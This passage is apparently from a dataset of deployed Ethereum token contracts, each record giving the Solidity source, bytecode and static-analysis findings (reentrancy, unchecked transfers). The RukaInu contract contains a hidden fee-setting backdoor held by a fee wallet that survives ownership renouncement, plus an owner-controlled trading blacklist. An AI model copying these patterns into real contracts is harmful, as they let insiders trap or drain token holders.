6102c65a03f11515611a1457600080fd5b505050604051805150505b600190950194611772565b600e805474ff0000000000000000000000000000000000000000191660a060020a1790555b5b505050505050565b60005433600160a060020a03908116911614611a7357600080fd5b60048190555b5b50565b6005805482908110611a8b57fe5b906000526020600020906002020160005b50805460019091015490915082565b60005433600160a060020a03908116911614611ac657600080fd5b600160a060020a0381161515611adb57600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b50565b60005433600160a060020a03908116911614611b2357600080fd5b60018190555b5b50565b60005433600160a060020a03908116911614611b4857600080fd5b6008805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b50565b60045481565b600f54600160a060020a031681565b600e54600160a060020a031681565b600082820183811015611ba857fe5b8091505b5092915050565b6000828202831580611bcf5750828482811515611bcc57fe5b04145b1515611ba857fe5b8091505b5092915050565b6000808284811515611bf057fe5b0490508091505b5092915050565b600082821115611c0a57fe5b508082035b92915050565b815481835581811511611427576002028160020283600052602060002091820191016114279190611c79565b5b505050565b815481835581811511611427576002028160020283600052602060002091820191016114279190611c79565b5b505050565b610a0a91905b80821115611c995760008082556001820155600201611c7f565b5090565b905600a165627a7a723058209532afa718953e0a64604a0deebedb292861fb2b5763799ba1173d8b87ad22e50029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,073
0x7ff24a68ebeb6c919759e266d581d43442f86a09
/** *Submitted for verification at Etherscan.io on 2021-11-04 */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract RukaInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1 = 1; uint256 private _feeAddr2 = 10; address payable private _feeAddrWallet1 = payable(0x7f405Cb8Bc92bD99e622fDa029055bBBBccC79ea); address payable private _feeAddrWallet2 = payable(0x29615B46D56a2088Be3E95E0Eb90c3579D18eC26); string private constant _name = "Ruka Inu"; string private constant _symbol = "RUKA"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setFeeAmountOne(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr1 = fee; } function setFeeAmountTwo(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr2 = fee; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _isBuy(address _sender) private view returns (bool) { return _sender == uniswapV2Pair; } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a1461031d578063c3c8cd801461033d578063c9567bf914610352578063cfe81ba014610367578063dd62ed3e1461038757600080fd5b8063715018a614610273578063842b7c08146102885780638da5cb5b146102a857806395d89b41146102d0578063a9059cbb146102fd57600080fd5b8063273123b7116100e7578063273123b7146101e0578063313ce567146102025780635932ead11461021e5780636fc3eaec1461023e57806370a082311461025357600080fd5b806306fdde0314610124578063095ea7b31461016757806318160ddd1461019757806323b872dd146101c057600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600881526752756b6120496e7560c01b60208201525b60405161015e9190611879565b60405180910390f35b34801561017357600080fd5b50610187610182366004611700565b6103cd565b604051901515815260200161015e565b3480156101a357600080fd5b506b033b2e3c9fd0803ce80000005b60405190815260200161015e565b3480156101cc57600080fd5b506101876101db3660046116bf565b6103e4565b3480156101ec57600080fd5b506102006101fb36600461164c565b61044d565b005b34801561020e57600080fd5b506040516009815260200161015e565b34801561022a57600080fd5b506102006102393660046117f8565b6104a1565b34801561024a57600080fd5b506102006104e9565b34801561025f57600080fd5b506101b261026e36600461164c565b610516565b34801561027f57600080fd5b50610200610538565b34801561029457600080fd5b506102006102a3366004611832565b6105ac565b3480156102b457600080fd5b506000546040516001600160a01b03909116815260200161015e565b3480156102dc57600080fd5b5060408051808201909152600481526352554b4160e01b6020820152610151565b34801561030957600080fd5b50610187610318366004611700565b610603565b34801561032957600080fd5b5061020061033836600461172c565b610610565b34801561034957600080fd5b506102006106a6565b34801561035e57600080fd5b506102006106dc565b34801561037357600080fd5b50610200610382366004611832565b610aa5565b34801561039357600080fd5b506101b26103a2366004611686565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103da338484610afc565b5060015b92915050565b60006103f1848484610c20565b610443843361043e85604051806060016040528060288152602001611a65602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f03565b610afc565b5060019392505050565b6000546001600160a01b031633146104805760405162461bcd60e51b8152600401610477906118ce565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104cb5760405162461bcd60e51b8152600401610477906118ce565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461050957600080fd5b4761051381610f3d565b50565b6001600160a01b0381166000908152600260205260408120546103de90610fc2565b6000546001600160a01b031633146105625760405162461bcd60e51b8152600401610477906118ce565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600d546001600160a01b0316336001600160a01b0316146105fe5760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b6044820152606401610477565b600a55565b60006103da338484610c20565b6000546001600160a01b0316331461063a5760405162461bcd60e51b8152600401610477906118ce565b60005b81518110156106a25760016006600084848151811061065e5761065e611a15565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069a816119e4565b91505061063d565b5050565b600c546001600160a01b0316336001600160a01b0316146106c657600080fd5b60006106d130610516565b905061051381611046565b6000546001600160a01b031633146107065760405162461bcd60e51b8152600401610477906118ce565b600f54600160a01b900460ff16156107605760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610477565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107a030826b033b2e3c9fd0803ce8000000610afc565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107d957600080fd5b505afa1580156107ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108119190611669565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561085957600080fd5b505afa15801561086d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108919190611669565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156108d957600080fd5b505af11580156108ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109119190611669565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061094181610516565b6000806109566000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109b957600080fd5b505af11580156109cd573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109f2919061184b565b5050600f80546a295be96e6406697200000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a6d57600080fd5b505af1158015610a81573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a29190611815565b600d546001600160a01b0316336001600160a01b031614610af75760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b6044820152606401610477565b600b55565b6001600160a01b038316610b5e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610477565b6001600160a01b038216610bbf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610477565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c845760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610477565b6001600160a01b038216610ce65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610477565b60008111610d485760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610477565b6000546001600160a01b03848116911614801590610d7457506000546001600160a01b03838116911614155b15610ef3576001600160a01b03831660009081526006602052604090205460ff16158015610dbb57506001600160a01b03821660009081526006602052604090205460ff16155b610dc457600080fd5b600f546001600160a01b038481169116148015610def5750600e546001600160a01b03838116911614155b8015610e1457506001600160a01b03821660009081526005602052604090205460ff16155b8015610e295750600f54600160b81b900460ff165b15610e8657601054811115610e3d57600080fd5b6001600160a01b0382166000908152600760205260409020544211610e6157600080fd5b610e6c42601e611974565b6001600160a01b0383166000908152600760205260409020555b6000610e9130610516565b600f54909150600160a81b900460ff16158015610ebc5750600f546001600160a01b03858116911614155b8015610ed15750600f54600160b01b900460ff165b15610ef157610edf81611046565b478015610eef57610eef47610f3d565b505b505b610efe8383836111cf565b505050565b60008184841115610f275760405162461bcd60e51b81526004016104779190611879565b506000610f3484866119cd565b95945050505050565b600c546001600160a01b03166108fc610f578360026111da565b6040518115909202916000818181858888f19350505050158015610f7f573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610f9a8360026111da565b6040518115909202916000818181858888f193505050501580156106a2573d6000803e3d6000fd5b60006008548211156110295760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610477565b600061103361121c565b905061103f83826111da565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061108e5761108e611a15565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156110e257600080fd5b505afa1580156110f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061111a9190611669565b8160018151811061112d5761112d611a15565b6001600160a01b039283166020918202929092010152600e546111539130911684610afc565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061118c908590600090869030904290600401611903565b600060405180830381600087803b1580156111a657600080fd5b505af11580156111ba573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610efe83838361123f565b600061103f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611336565b6000806000611229611364565b909250905061123882826111da565b9250505090565b600080600080600080611251876113ac565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112839087611409565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546112b2908661144b565b6001600160a01b0389166000908152600260205260409020556112d4816114aa565b6112de84836114f4565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161132391815260200190565b60405180910390a3505050505050505050565b600081836113575760405162461bcd60e51b81526004016104779190611879565b506000610f34848661198c565b60085460009081906b033b2e3c9fd0803ce800000061138382826111da565b8210156113a3575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006113c98a600a54600b54611518565b92509250925060006113d961121c565b905060008060006113ec8e87878761156d565b919e509c509a509598509396509194505050505091939550919395565b600061103f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f03565b6000806114588385611974565b90508381101561103f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610477565b60006114b461121c565b905060006114c283836115bd565b306000908152600260205260409020549091506114df908261144b565b30600090815260026020526040902055505050565b6008546115019083611409565b600855600954611511908261144b565b6009555050565b6000808080611532606461152c89896115bd565b906111da565b90506000611545606461152c8a896115bd565b9050600061155d826115578b86611409565b90611409565b9992985090965090945050505050565b600080808061157c88866115bd565b9050600061158a88876115bd565b9050600061159888886115bd565b905060006115aa826115578686611409565b939b939a50919850919650505050505050565b6000826115cc575060006103de565b60006115d883856119ae565b9050826115e5858361198c565b1461103f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610477565b803561164781611a41565b919050565b60006020828403121561165e57600080fd5b813561103f81611a41565b60006020828403121561167b57600080fd5b815161103f81611a41565b6000806040838503121561169957600080fd5b82356116a481611a41565b915060208301356116b481611a41565b809150509250929050565b6000806000606084860312156116d457600080fd5b83356116df81611a41565b925060208401356116ef81611a41565b929592945050506040919091013590565b6000806040838503121561171357600080fd5b823561171e81611a41565b946020939093013593505050565b6000602080838503121561173f57600080fd5b823567ffffffffffffffff8082111561175757600080fd5b818501915085601f83011261176b57600080fd5b81358181111561177d5761177d611a2b565b8060051b604051601f19603f830116810181811085821117156117a2576117a2611a2b565b604052828152858101935084860182860187018a10156117c157600080fd5b600095505b838610156117eb576117d78161163c565b8552600195909501949386019386016117c6565b5098975050505050505050565b60006020828403121561180a57600080fd5b813561103f81611a56565b60006020828403121561182757600080fd5b815161103f81611a56565b60006020828403121561184457600080fd5b5035919050565b60008060006060848603121561186057600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156118a65785810183015185820160400152820161188a565b818111156118b8576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119535784516001600160a01b03168352938301939183019160010161192e565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611987576119876119ff565b500190565b6000826119a957634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156119c8576119c86119ff565b500290565b6000828210156119df576119df6119ff565b500390565b60006000198214156119f8576119f86119ff565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461051357600080fd5b801515811461051357600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208fc527764fabdc6601579e33687ae154abb8d8f49ca7bf335e006424f0d415fe64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,074
0x20bc9970eb1e61d272da3055fbd83cff61aad054
pragma solidity ^0.4.25; /* Symbol : EDAN Name : EDA Total supply: 10000000000000000000000000000 Decimals : 18 site : projetedan.org Deployed by ALEXANDRE */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ForeignToken { function balanceOf(address _owner) constant public returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract EDAN is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public Claimed; string public constant name = "EDAN"; string public constant symbol = "EDA"; uint public constant decimals = 18; uint public enddate = now + 66 * 1 days; uint public round2 = now + 56 * 1 days; uint public round1 = now + 30 * 1 days; uint256 public totalSupply = 10000000000e18; uint256 public totalDistributed; uint256 public constant requestMinimum = 1 ether / 100; // 0.01 Ether uint256 public tokensPerEth = 65000e18; uint public targetdrop = 100; uint public progress = 0; //here u will write your ether address address multisig = 0xf60a9a4Dc7b687732b034B5FA2e78f35E4f40212; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Airdrop(address indexed _owner, uint _amount, uint _balance); event TokensPerEthUpdated(uint _tokensPerEth); event Burn(address indexed burner, uint256 value); event Add(uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } constructor() public { uint256 teamFund = 3200000000e18; owner = msg.sender; distr(owner, teamFund); } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; emit DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); balances[_to] = balances[_to].add(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function Distribute(address _participant, uint _amount) onlyOwner internal { require( _amount > 0 ); require( totalDistributed < totalSupply ); balances[_participant] = balances[_participant].add(_amount); totalDistributed = totalDistributed.add(_amount); if (totalDistributed >= totalSupply) { distributionFinished = true; } // log Airdrop emit Airdrop(_participant, _amount, balances[_participant]); emit Transfer(address(0), _participant, _amount); } function DistributeAirdrop(address _participant, uint _amount) onlyOwner external { Distribute(_participant, _amount); } function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external { for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount); } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function () external payable { edanSale(); } function edanSale() payable canDistr public { uint256 tokens = 0; uint256 bonus = 0; uint256 countbonus = 0; uint256 bonusCond1 = 1 ether / 10; uint256 bonusCond2 = 1 ether; uint256 bonusCond3 = 5 ether; tokens = tokensPerEth.mul(msg.value) / 1 ether; address investor = msg.sender; if (msg.value >= requestMinimum && now < enddate && now < round1 && now < round2) { if(msg.value >= bonusCond1 && msg.value < bonusCond2){ countbonus = tokens * 5 / 100; }else if(msg.value >= bonusCond2 && msg.value < bonusCond3){ countbonus = tokens * 10 / 100; }else if(msg.value >= bonusCond3){ countbonus = tokens * 15 / 100; } }else if(msg.value >= requestMinimum && now < enddate && now > round1 && now < round2){ if(msg.value >= bonusCond2 && msg.value < bonusCond3){ countbonus = tokens * 5 / 100; }else if(msg.value >= bonusCond3){ countbonus = tokens * 10 / 100; } }else{ countbonus = 0; } bonus = tokens + countbonus; if (tokens == 0) { uint256 valdrop = 0e18; if (Claimed[investor] == false && progress <= targetdrop ) { distr(investor, valdrop); Claimed[investor] = true; progress++; }else{ require( msg.value >= requestMinimum ); } }else if(tokens > 0 && msg.value >= requestMinimum){ if( now >= enddate && now >= round1 && now < round2){ distr(investor, tokens); }else{ if(msg.value >= bonusCond1){ distr(investor, bonus); }else{ distr(investor, tokens); } } }else{ require( msg.value >= requestMinimum ); } if (totalDistributed >= totalSupply) { distributionFinished = true; } //here we will send all wei to your address multisig.transfer(msg.value); } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ ForeignToken t = ForeignToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdrawAll() onlyOwner public { address myAddress = this; uint256 